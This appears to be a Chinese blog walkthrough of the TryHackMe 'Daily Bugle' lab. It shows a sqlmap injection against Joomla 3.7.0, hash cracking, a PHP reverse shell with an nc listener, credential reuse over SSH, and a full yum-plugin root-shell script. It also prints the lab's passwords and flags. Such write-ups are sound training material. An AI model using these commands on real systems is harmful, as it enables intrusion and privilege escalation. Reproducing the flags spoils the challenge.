每日号角:TryHackMe渗透实战指南(Joomla漏洞利用与权限提升)

本文详细记录了TryHackMe平台"每日号角"靶机的完整渗透过程。从Joomla CMS漏洞发现、SQL注入利用到获取反向Shell,最终通过yum提权获取root权限,涵盖Web应用和系统层面的完整攻击链。

初始侦察

首先进行标准端口和服务扫描以获取目标信息:

1
nmap -sV -sC <ip>

Nmap返回三个开放端口:

  • 22/tcp — SSH (OpenSSH 7.4)
  • 80/tcp — HTTP (Apache/2.4.6, PHP 5.6.40) — Web服务器标识为Joomla!
  • 3306/tcp — MySQL / MariaDB (未授权)

Web枚举

使用dirsearch进行目录暴力破解:

1
dirsearch -u <ip> -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

发现关键目录:

  • /administrator/ — Joomla管理员面板

Joomla版本识别

确认运行Joomla 3.7.0

漏洞研究 — SQL注入

利用已知的Joomla 3.7.0 SQL注入漏洞(Exploit-DB 42033):

1
2
sqlmap -u "http://10.201.99.224/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
  --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

成功枚举数据库:

  • information_schema
  • joomla
  • mysql
  • performance_schema
  • test

漏洞利用与哈希提取

使用joomblah.py脚本提取用户哈希:

1
python joomblah.py http://10.201.99.224/

获得Jonah的密码哈希:$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm

使用John the Ripper破解:

1
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

获得密码:spiderman123

获取访问权限 — Joomla管理员与反向Shell

  1. 使用凭证登录Joomla管理员面板(jonah:spiderman123)
  2. 修改Beez3模板的index.php文件为PHP反向Shell
  3. 启动监听器:
1
nc -lnvp 1234
  1. 触发反向Shell获得apache用户权限

后期利用

在配置文件/var/www/html/configuration.php中发现数据库凭证:

  • 用户名:root
  • 密码:nv5uz9r3ZEDzVjNu

该密码同时适用于jjameson用户的SSH登录,成功获取用户标志:

1
2
cat user.txt
27a260fe3cba712cfdedb1c86d80442e

权限提升

检查sudo权限发现jjameson可无密码运行yum:

1
2
sudo -l
(ALL) NOPASSWD: /usr/bin/yum

利用GTFOBins的yum提权技术:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y

成功获得root shell并读取root标志:

1
2
cat /root/root.txt
eec3d53292b1821868266858d7fa6f79

总结

本次渗透测试完整演示了从Web应用到系统层面的完整攻击链,涵盖了Joomla漏洞利用、SQL注入、反向Shell部署和Linux权限提升等关键技术环节。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计